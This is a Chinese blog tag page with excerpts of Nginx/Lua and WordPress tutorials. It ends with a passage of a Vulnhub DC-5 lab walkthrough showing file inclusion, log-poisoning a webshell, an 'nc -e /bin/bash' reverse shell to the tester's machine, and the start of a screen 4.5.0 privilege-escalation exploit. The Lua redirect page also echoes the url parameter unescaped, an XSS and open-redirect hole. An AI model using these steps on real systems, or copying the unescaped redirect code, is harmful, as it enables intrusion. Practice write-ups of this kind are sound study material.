首页
关于道锋
友情链接
工具
公告栏
推荐
个人主页
站点状态监控
服务状态监控
节点状态监控
文件门户
鳞图图床
Search
1
兽装曲腿制作文档
623 阅读
2
CloudFront CDN配置教程
219 阅读
3
Frpc使用XTCP不通过服务器传输
163 阅读
4
优化你的Typecho禁止F12和查看源码
113 阅读
5
境外服务器的各种线路说明
87 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
Web
渗透
硬件
编程
网络
虚拟化
记录
HTTP
Nginx
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
Redis
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
KVM云计算
docker
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
登录
Search
标签搜索
源码
开源
教程
服务器
摄影
环境搭建
VS CODE
Rust
rustlang
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
120
篇文章
累计收到
77
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
Web
渗透
硬件
编程
网络
虚拟化
记录
HTTP
Nginx
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
Redis
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
KVM云计算
docker
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
页面
关于道锋
友情链接
工具
公告栏
推荐
个人主页
站点状态监控
服务状态监控
节点状态监控
文件门户
鳞图图床
搜索到
12
篇与
的结果
2021-07-05
Nginx+Lua实现Websocket实时网卡流量推送
首先我们先了解一下Linux系统获取网络流量的几种方法1.基于sysfs虚拟文件系统,这是由内核用来将设备或驱动相关的信息输出到用户空间的一种机制。网络接口的相关分析数据会通过“/sys/class/net/<ethX>/statistics”输出。加之Linux提供了LKM机制可以使我们在内核空间工作,在LKM机制中一个重要的组成部分就是proc伪文件系统,它为用户提供了动态操作Linux内核信息的接口,是除系统调用之外另一个重要的Linux内核空间与用户空间交换数据的途径。如:/sys/class/net/eth0/statistics/rx_packets: 收到的数据包数据/sys/class/net/eth0/statistics/tx_packets: 传输的数据包数量/sys/class/net/eth0/statistics/rx_bytes: 接收的字节数/sys/class/net/eth0/statistics/tx_bytes: 传输的字节数/sys/class/net/eth0/statistics/rx_dropped: 当收到包数据包下降的数据量/sys/class/net/eth0/statistics/tx_dropped: 传输包数据包下降的数据量2.sarsar命令包含在sysstat工具包中,提供系统的众多统计数据。其在不同的系统上命令有些差异,某些系统提供的sar支持基于网络接口的数据统计,也可以查看设备上每秒收发包的个数和流量。3./proc/net/dev本文使用的是方法1,即为通过定时读取/sys/class/net/eth0/statistics/xxx文件的内容,来进行计算,获取最终的网络带宽使用lua 的io库进行读文件操作file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" )获得秒初的网络数据包数量进而通过ngx.sleep进行非阻塞的等待一秒后再次读取文件中的数据包数量ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" )这样,获得了秒末的数据包数量将秒末的数据包数量减去秒初的数据包数量。即为秒内的网络流动数据包数量因为每个数据大小为8个字节,因此,得出的结果*8就是每秒字节数,进而可以通过多次除去1024得道千字节数,兆字节数等local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 --and --tx = tx/1024/1024 --mbps --rx = rx/1024/1024 --mbps--核心代码实现 function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end因为将要使用websocket进行实时的数据传输,我们需要安装支持resty.websocket的扩展库,openresty用户默认就有,非openresty用户可前往https://github.com/openresty/lua-resty-websocket安装库安装过程可参考https://www.cnblogs.com/scotoma/p/3330190.htmlwebsocket相关代码local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end全部完整代码json = require "cjson" ngx.update_time() local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end local types = tonumber(ngx.var.arg_types) or 0 local pod = ngx.var.arg_pod or "tx" bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end详细项目地址https://gitee.com/daofengql/lua-websocket-real-time-network-traffic到此,lua部分已经编写完毕,接下来就要在nginx中配置配置文件来接入路由样例conflocation / { #路由名称具实际修改 #lua_code_cache off; default_type text/html; add_header 'Access-Control-Allow-Origin' *; content_by_lua_file /data/traffic.lua;#文件存放地址更具实际修改 } 配置完成后,如果不出意外,重载NGINX之后,可以使用在线websocket测试,测试服务推送出去,客户端收到的是json字符,可以再对其转化为字典对象等可以进一步将项目仓库内的html目录下的页面进行适当的修改和部署计数器核心功能代码<script language="JavaScript"> $(function () { var chart; var previous = null; var chart; // global var pointx = null; var ip = "180.188.16.147"; $(window).load(function () { initiateChart("L4dstat"); //parseFile(); }); var server = 'wss://ws.jcdpn.cn/?types=2'; var ws = new WebSocket(server); var temp_arr = [0.1]; var max_bps = 0.1; ws.onclose = function () { reconnect(service); }; ws.onmessage = function (evt) { data = JSON.parse(evt.data); temp_arr.push(data.rx); max_bps = Math.max.apply(null, temp_arr); temp_arr = [0.1]; var series = chart.series[0], shift = series.data.length > 20; chart.series[0].addPoint([Math.floor($.now()), max_bps], true, shift); max_bps = 0.1; }; function initiateChart(divid) { var options = { plotOptions: { series: { events: { legendItemClick: function (event) { event.preventDefault(); } } } }, chart: { zoomType: '', renderTo: divid, style: { fontFamily: "'Unica One', sans-serif" }, //plotBorderColor: '#606063' backgroundColor: '#e2e3e5', }, //title:{ // text: null // }, title: { text: '» '+ip+'核心流量计数器 «', }, xAxis: { type: 'datetime', dateTimeLabelFormats: { day: '%a' } }, yAxis: { minPadding: 0.2, maxPadding: 0.2, title: { text: 'Mb/秒', margin: 80 } }, credits: { enabled: false }, series: [{ type: 'area', //shadowSize: 0, name: 'Mbps/秒', color: '#164791', data: [] }] }; chart = new Highcharts.Chart(options); } }); </script>例如将默认的socket地址改成自己的流量计数器默认使用的单位为mbps,其他单位还需要自己修改和换算流量计数器使用highcharts.js来进行表格绘制效果
2021年07月05日
15 阅读
0 评论
0 点赞
2021-03-07
OpenResty-Lua之连接MySQL数据库
连接MySQL local mysql = require "resty.mysql" local db, err = mysql:new() if not db then ngx.say("failed to instantiate mysql: ", err) return end db:set_timeout(1000) --1 sec local ok, err, errno, sqlstate = db:connect{ host = "127.0.0.1", port = 3306, database = "test", user = "root", password = "vagrant", max_packet_size = 1024*1024 } if not ok then ngx.say("failed to connect: ",err, ":", errno, " ", sqlstate) return end res, err, errno, sqlstate = db:query("create table cats" .. "(id serial primary key, " .."name varchar(5))") if not res then ngx.say("bad result: ", err, ": ", errno, ":", sqlstate, ".") return end ngx.say("table cats created.") res, err, errno, sqlstate = db:query("insert into cats (name) " .. "values (\'Bob\'),(\'\'),(null)") if not res then ngx.say("bad result: ", err, ": ", errno, ": ", sqlstate, ".") return end样例2:local db, err = env:new() if not db then --错误处理 ngx.say(err) return end --设置超时 db:set_timeout(1000) --设置链接信息 local ok, err ,errcode ,sqlstate = db:connect{ database ="root",user = "root",password = "root",host = "127.0.0.1",port = 3306,charset = "utf8",max_packaget_size = 2048 * 2048 } --数据库命令主体 query = "select"; --数据库操作返回 local res, err ,errcode ,sqlstate = db:query(query) if not res then ngx.say(err) return end local ret = {} --数据库操作返回数据重构 for i,row in ipairs(res) do for key,raw in pairs(row) do ret[key] = raw end end --json编码进入 db:close()--关闭数据库连接需要安装Resty.mysql的库,非Openresty用户需要额外安装,resty.mysql库同时依赖resty.string库nginx配置文件部分:location /mysql_hello { content_by_lua_file XX.lua; }
2021年03月07日
6 阅读
0 评论
0 点赞
2021-02-25
Lua+Nginx 实现Wordpress外链跳转
Lua代码(保存为文件):p1 = [=[ <html><head> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="referrer" content="always"> <title>道锋潜鳞 - 风控中心 - 跳转</title> <style> html,body{background:#F3F4F5;font-family: PingFang SC,Hiragino Sans GB,Arial,Microsoft YaHei,Verdana,Roboto,Noto,Helvetica Neue,sans-serif;padding:0;margin:0;} a{text-decoration:none;} .content{padding-top:220px;width:450px;margin:auto;word-break: break-all;} .content .logo-img img{display: block;width:175px;margin:auto;margin-bottom: 16px;} .content .loading-item{background:#fff;padding:24px;border-radius: 12px;border: 1px solid #E1E1E1;} .content .flex{display:flex;align-items:center;} .content .flex-end{display:flex;justify-content:flex-end} .content .tip1{background:#F0F9EA;} .content .tip2{background:#FDF5E6;} .content .tip3{background:#FEF0F0;} .content .loading-color1{color:#267DCC;} .content .loading-color2{color:#FC5531;} .content .loading-tip{padding:12px;margin-bottom:16px;border-radius:4px;} .content .loading-topic{font-size: 14px;color: #222226;line-height: 24px;margin-bottom:24px;} .content .loading-img{width:24px;height:24px;} .content .loading-btn{font-size: 14px;color: #FC5531;border: 1px solid #FC5531;display:inline-block;box-sizing: border-box;padding:6px 18px;border-radius: 18px;margin-left:8px;} .content .loading-btn2{font-size: 14px;color: #000000;border: 1px solid #000000;display:inline-block;box-sizing: border-box;padding:6px 18px;border-radius: 18px;margin-left:8px;} .content .loading-btn-github{width:121px;background:#FC5531;color:#fff;} .content .loading-text{font-size: 16px;font-weight: 600;color: #222226;line-height: 22px;margin-left:12px;overflow: hidden;text-overflow:ellipsis;white-space: nowrap;} @media (max-width: 450px){ .content{padding-top:120px;width:94%;} } #csdn-toolbar{width: 0;height: 0;display: none} </style></head> <body class="vsc-initialized"> <div id="linkPage" class="link-page"> <div class="content"> <div class="logo-img"><img src="https://www.dfql.io/wp-content/uploads/2021/02/logo-full.png" alt=""></div> <div class="loading-item loading-others"> <div class="flex loading-tip tip2"> <img class="loading-img" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAADWUlEQVRoQ+2YvWsUQRiH33fmOMQiRQor7RQSweB9KAQEg1iYKFaZnJJ/wcTOMhLs7Ez8FwLebikasTGCoJDcHSoYQbHRyiKFhajczCu3SS73sbfzsXNJDnLV3s4y83vm3X12dhAG/IcDnh+OAHpVkITISvg2DYyQjwyVcXGt3o9q960CdZELAWC6ERoRn/CgentgAGimOCVJPmsNzJFfx2DjuW8I7xWg+xMZ9enXRwIaaQ2LgJ/Z2aFzvm8l7wBypjBPpB7FzTQiu8uDypLPKngFIDE+rODPFwIYjgUA2GJw7AyGb7d8QXgFkCK/TEB3ksIh4GMeVucOHQCV8qNKwQcCymgA6ozBGJarmz4gvFWgLvKrAHTNLBS+yITVSbNrk6/yAhCnTV04X1pNDdBLmzoAX1pNDZCkTS2EB62mAtBpUwvgQaupAEy0qYdIp1VnAFNtGgCk0qozgJ02tRjOWnUCoFJxUiqZuLJEgB+AbCWKTmqWAE4mYXDGp7C8sapD7Wy3BjDVJke8iUH1aZS/lL8hFUXHvX6uWrUGMNUmByxiWK1sAxTyUqnoOBHCQatWADbadAJw0KoVgJwpLBEpo5WkC0CjOohsmQeVeV21dtuNAWy16QwAaKVVYwBbbboCbM+s+WrVCMBEm50lTwcAYKpVLYCpNrsALDXa7XezTQAtgKk2Y14wVi+yuIfWZBMgEcBGm6bWsLkODbSaCGCjTZtgNtfqtNoTwFabMffwb0DYWQvBLAEdtwm+5/lkrfYEsNVmazgElIzxcSyvr0dLiVu5opL4joC4C0SSVmMBXLTZBoDwnge1863npMjVCKDtnA1ML612Abhqs70C8JPB6VMYhv+iCgiRVfD1OwGcsAndPim4yUaHxjr3VrsAZCk3RwpS718i4gpjdK8RQil8SESzruGbzwODeV6uLXdM1t7fg9amDjBOq20VOAza1EJ0rFabAGm1qRvYVzt2rFabAHWRa3zjetmv9BU2oZ/VTFibarRHACQuXJZQX9uHgb0NwZFdwaDyKgKQorBAoBa99b4PHSHCAx7UFnYqULikUL0mArYPY6ceInrTA05gWHmz9xCL4kWF6ioAZFOP0NcO8C8jerm746H9HuhrFg+dHwF4mMRUXQx8Bf4DeBHHQHvQneAAAAAASUVORK5CYII=" alt=""> <div class="loading-text">请注意您的账号和财产安全</div> </div> <div class="loading-topic"> <span>您即将离开,去往:</span> <a class="loading-color2"> ]=] p2 = [=[ </a> </p> <span>该链接不是我们的官方链接,风险不在我们的可控范围内</span> </div> <div class="flex-end"> <a class="loading-btn" href=" ]=] p3 = [=[ " target="_self" >继续</a> <a class="loading-btn2" href="#" onClick="javascript:history.back(-1);" target="_self">取消</a> </div> </div> </div> </div> </body> </html> ]=] resp = p1..ngx.var.arg_url..p2..ngx.var.arg_url..p3 ngx.say(resp)Nginx配置(部分):location ~ ^/goto/* { if ($request_method != GET) { return 403; } if ($arg_url = "") { return 403; } default_type text/html; content_by_lua_file /data/lua/link.lua; #前面lua代码的地址 }Wp:打开你的主题内的functions.php文件。在末尾添加如下php代码:function the_content_nofollow($content){ preg_match_all('/<a(.*?)href="(.*?)"(.*?)>/',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/goto?url=$val\" ",$content); } } } return $content; } add_filter('the_content','the_content_nofollow',999);实现效果:
2021年02月25日
6 阅读
0 评论
0 点赞
2021-01-09
宝塔nginx搭建rtmp推流服务器
环境Linux centos 7.6 + Nginx1.安装Nginx这一步就不用多说了吧我是宝塔用户,这边进入到/www/server/nginx/src目录里面使用nginx -V查看当前的编译选项。2.安装Nginx的rtmp拓展nginx的rtmp拓展包github地址:https://github.com/arut/nginx-rtmp-module,可以使用git clone下拉或者直接下载我这边直接下载解压放到:/root下。Nginx安装rtmp拓展:3.编译在刚刚-V操作所输出的 ./configure arguents:之后的内容复制然后在后头添加:--add-module=/opt/module/nginx-rtmp-module在前头添加./configure如:(我这里有编译云锁的安全模块,可以删除)./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --add-module=/www/server/nginx/src/lua_nginx_module --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --with-openssl=/www/server/nginx/src/openssl --with-pcre=pcre-8.43 --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_ssl_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-cc-opt=-Wno-error --with-ld-opt=-ljemalloc --with-http_dav_module --add-module=/www/server/nginx/src/nginx-dav-ext-module --add-module=/root/nginx-plugin-master --add-module=/root/nginx-rtmp-module运行后没有错误的话执行 make -j8 (我这里是8个线程编译,可以根据具体机器的配置选配)make完成后将系统中原有的nginx用重新编译生成的nginx文件替换,替换后重启nginx使新编译nginx生效rm -rf /www/server/nginx/sbin/nginx cp objs/nginx /www/server/nginx/sbin/ service nginx restart4.配置Nginx的rtmp服务站点# 在文件底部添加下面内容: rtmp { server { listen 1935; #监听的端口 chunk_size 4000; application tv_file { live on; #开启实时 hls on; #开启hls hls_path /www/hls; #rtmp推流请求路径,文件存放路径 hls_fragment 5s; #每个TS文件包含5秒的视频内容 } } }另外切记,此段配置文件需要和http配置块同级,即不能将此段内容放在http{}内,否则无法启动且报错重启Nginx:nginx -s reload开放端口(没防火墙忽略此部)iptables -I INPUT -p tcp --dport 1938 -j ACCEPT附属步骤1:使用http-hls流(m3u8)(不需要此功能跳过这步)首先新建一个站点,在配置文件中添加类似这样的代码:add_header 'Access-Control-Allow-Origin' *; add_header 'Access-Control-Allow-Methods' GET; location /live { #error_page 404 =200 /nosign.m3u8; #可以取消注释上面的代码,稍作修改即可配置默认视频流 types { application/vnd.apple.mpegurl m3u8; video/mp2t ts; } alias /www/hls/; }这段配置文件将前一步生成的m3u8和ts文件以http的形式推送。可以再添加CDN进行分发,但注意缓存时间需要匹配,否则会出现视频流异常。附属步骤2:读取http-hls流(m3u8)(不需要此功能跳过这步)完成上面附属一之后,可以使用如下html代码读取播放此m3u8视频源<script src="https://www.dfql.io/wp-content/themes/hestia/assets/js/hls.min.js"></script> <video id="video" class="wrap" controls="" poster="封面图片"></video> <script> var url = "你的hls地址"; if(Hls.isSupported()) { var video = document.getElementById('video'); var hls = new Hls(); hls.loadSource(url); hls.attachMedia(video); hls.on(Hls.Events.MANIFEST_PARSED,function() { video.play(); }); } </script>5、推拉流测试推流。下载OBS Studio,官网下载太慢了,其他下载地址:https://pc.qq.com/detail/4/detail_23604.html安装完成,打开软件,在控件版块点击设置,左边的导航选择流,然后流类型选择自定义流媒体服务器,url输入rtmp://你的IP:1935/tv_file(就是刚刚配置的那个),流名称随便设置一个在场景里头随便添加个视频或者什么七七八八的设置完成点击推流。在服务器就看到m3u8文件的生成,推流成功。(然后挂到后台)这边强烈建议调整为动态码率或者其他什么的,毕竟自己的服务器带宽小,一不小心就跑满了6、拉流。测试拉流下载VLC,官方也是慢的要死,可以普通下载:https://pc.qq.com/detail/9/detail_569.html安装后打开url输入rtmp://你的IP:1935/tv_file/流名称(秘钥)或者使用刚刚配置的hls流,输入http://你的域名或IP/live/流名称.m3u8拉取正常根据本教程可以做出类似本站https://www.dfql.io/?page_id=2339的功能。
2021年01月09日
12 阅读
1 评论
0 点赞
2021-01-03
Python获取NGINX连接数(ngx_stub_status)
最近在写网站的自动化运营平台,其中有一个CC攻击报警的系统,需要获取到网络服务器实时的连接数来判断是否遭受到攻击。因为服务器资源还是比较充裕,所以只需要获取当前的并发连接数即可。但有一个问题,ngx_stub_status插件是以http页面的形式输出的。而且内容还是非json格式。于是就用到urllib模块,对监控地址进行请求import urllib.parse import urllib.request def data_re(): url = "https://youdomain.com/your-url" headers = { # 存储任意的请求头信息 'User-Agent': 'Automated_blog_server_monitoring_platform version1.0.0', 'Referer':url } request = urllib.request.Request(url=url, headers=headers) response = urllib.request.urlopen(request) the_page = response.read().decode("unicode_escape").splitlines() #从http读取目标页面的数据分行存入List变量中 connect = int(str(the_page[0]).split(':')[1].strip()) #处理链接数为int类型的变量 print(connect)可以同理获取到队列等待数等。代码原理:首先请求页面获取页面内容,然后对页面内容进行拆行解析。每一行为一个元素。使用split()对字符串进行二次拆解分割。最终去除多余的空格,解析出ngx_stub_status的Active connections同理可以略微改动代码获取到总处理数,队列等待数等数据。
2021年01月03日
7 阅读
0 评论
0 点赞
2020-12-23
将Wordpress文章的外链转为内链(NGINX版)
我们在wordpress网站很多的文章需要跳转外链的资料、或者跳转外链的下载,所以在维护的时候,文章内编写的外链是不可避免的。一般来说,我们在除了友情链接之外的外部连接之外,大部分的外链都会多多少少的分散网站的权重你或许看见过类似https://www..com/goto.php?https://www.***.com形式的跳转链接,这样是为了站点的SEO能够对各种搜索引擎更友好,术语好像就是叫做外链跳转。更重要的是起到了保护自己域名权重的目的。一、给出NGINX跳转版的配置方法首先打开你站点的NGINX配置文件(仅限使用NGINXweb服务的道友)在location的配置块里面,添加一个新的location块代码如下location ~ ^/goto/* { if ($request_method != GET) { return 403; } rewrite ^ $arg_url? redirect; }这段配置文件就能实现将参数url后的地址读取后302跳转,并且抛弃除GET外的请求二、如果您用得是apache等类型的服务器可以在根目录下新建goto文件夹,在里面新建一个index.php文件(当然其他的的地址也是可以,需要在第三框的步骤中修改成你的地址)添加如下内容:<?php header("location:".$_GET["url"]); ?>美观一点也是可以的: <?php $url = $_GET['url']; ?> <html> <head> <meta charset=utf-8 /> <meta name="robots" content="nofollow"> <meta http-equiv="refresh" content="0.1;url=<?php echo $url; ?>"> <title>正在为您跳转……</title> <style> body{background:#000}.loading{-webkit-animation:fadein 2s;-moz-animation:fadein 2s;-o-animation:fadein 2s;animation:fadein 2s}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-o-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.spinner-wrapper{position:absolute;top:0;left:0;z-index:300;height:100%;min-width:100%;min-height:100%;background:rgba(255,255,255,0.93)}.spinner-text{position:absolute;top:41.5%;left:47%;margin:16px 0 0 35px;color:#BBB;letter-spacing:1px;font-weight:700;font-size:9px;font-family:Arial}.spinner{position:absolute;top:40%;left:45%;display:block;margin:0;width:1px;height:1px;border:25px solid rgba(100,100,100,0.2);-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;border-left-color:transparent;border-right-color:transparent;-webkit-animation:spin 1.5s infinite;-moz-animation:spin 1.5s infinite;animation:spin 1.5s infinite}@-webkit-keyframes spin{0%,100%{-webkit-transform:rotate(0deg) scale(1)}50%{-webkit-transform:rotate(720deg) scale(0.6)}}@-moz-keyframes spin{0%,100%{-moz-transform:rotate(0deg) scale(1)}50%{-moz-transform:rotate(720deg) scale(0.6)}}@-o-keyframes spin{0%,100%{-o-transform:rotate(0deg) scale(1)}50%{-o-transform:rotate(720deg) scale(0.6)}}@keyframes spin{0%,100%{transform:rotate(0deg) scale(1)}50%{transform:rotate(720deg) scale(0.6)}} </style> </head> <body> <div class="loading"> <div class="spinner-wrapper"> <span class="spinner-text">加载中...</span> <span class="spinner"></span> </div </div> </body> </html>三、主题文件配置随后打开你的主题内的functions.php文件。在末尾添加如下php代码:function the_content_nofollow($content){ preg_match_all('/<a(.*?)href="(.*?)"(.*?)>/',$content,$matches); if($matches){ foreach($matches[2] as $val){ if(strpos($val,'://')!==false && strpos($val,home_url())===false && !preg_match('/\.(jpg|jepg|png|ico|bmp|gif|tiff)/i',$val)){ $content=str_replace("href=\"$val\"", "href=\"".home_url()."/goto?url=$val\" ",$content); } } } return $content; } add_filter('the_content','the_content_nofollow',999);这段代码将捕获页面链接标签内的url地址,然后进行替换操作至此,配置完成,不出意外的话,文章内的站外链接会变成这样:
2020年12月23日
3 阅读
0 评论
0 点赞
2020-09-05
Nginx禁止ip方式访问80、443端口
很多时候,在部署CDN的Https回源的时候,令人烦躁的Shodan引擎会让世界知道你的源站地址,带来不少麻烦比如惨烈的本站,在云锁防恶意解析功能不知道跑哪去以后,变成了这样源站地址直接暴露,这样做cdn防御还有什么用,,,根据证书查询到源服务器。。。。于是就寻思着在NGINX上手动配置一个默认站点,NGINX的默认站点寻找顺序是按照配置文件顺序排列的,在找不到可用server_name的时候,自动返回第一个站点。于是乎,我们需要在server标签最前面配置一个默认server标签来屏蔽大部分错误的请求。不过首先,我们肯定不会特意去买了个证书去配置443的默认站点吧。那就先使用OpenSSL自签发一份NGINX可用的证书一、签发证书1.生成私钥文件:openssl genrsa -des3 -out server.key 2048Ps:会提示需要给证书加密码2.去除口令:mv server.key server.key.backopenssl rsa -in server.key.back -out server.keyPs:会提示询问证书的密码3.创建请求证书:openssl req -new -key server.key -out server.csrPS:会提示输入一些信息,可以乱填或一路回车4.生成证书文件:openssl x509 -req -days 36500 -in server.csr -signkey server.key -out server.crt这样我们就得到了这样四个文件二、配置NGINX1.上传我们的server.crt server.key文件到我们NGINX所在的服务器下2.修改配置文件,在所有server的最前面添加server { listen 80 default_server; listen 443 default_server; server_name _; ssl on; ssl_certificate /www/server.crt;//证书上传地址 ssl_certificate_key /www/server.key; ssl_prefer_server_ciphers on; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; return 403;//返回403错误,可以自定义页面或其他错误码 }PS:代码放置需求,在虚拟主机配置文件前或主站点前eg.(宝塔)三、结束然后咋办?还要说?当然是保存重启了或者重载拉:—)如果返回403的话,正常就是这样了这样一来,可以有效阻止绝大部分的针对主机和域名的扫描器,保障服务器安全
2020年09月05日
8 阅读
0 评论
0 点赞
2020-04-17
Vulnhub靶场之DC-5
还是老规矩,先搜集一波信息arp-scan -l 检索一下我们的主机设备192.168.75.138使用nmap扫描端口信息 nmap -sS -p 1-65535 -A 192.168.75.138发现启用了nginx服务,开启着80端口。访问试试似乎是一个介绍页面,还有一个留言板发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面]使用kali下的自带字典因为我用的是Community版本的burp。。。。爆破没法设置线程巨慢,因此盗几张图既然是文件包含,直接老规矩去读取/etc/passwdthankyou.php?file=/etc/passwd对方使用的是Nginx,那么能不能读取出nginx的日志文件呢。查询资料得出,默认nginx的日志路径是/var/log/nginx/*.log如果说他将会读取日志。那么能否在日志里面插入一句话木马呢?插入成功上菜刀连接http://192.168.75.138/thankyou.php?file=/var/log/nginx/error.log试试看成功不出所料,又是一个低权用户那么用nc反弹到kali里面玩nc -e /bin/bash 192.168.75.129 1234nc -lvvp 1234然后我们寻找具有sudo权限的操作find / -perm -u=s -type f 2>/dev/nullscreen提权?searchsploit screen 4.5.0查找可用于screen 4.5.0的漏洞脚本文件cp /usr/share/exploitdb/exploits/linux/local/41152.txt 41152.textcp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件gcc -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件并在保存dc5.sh文件输入 :set 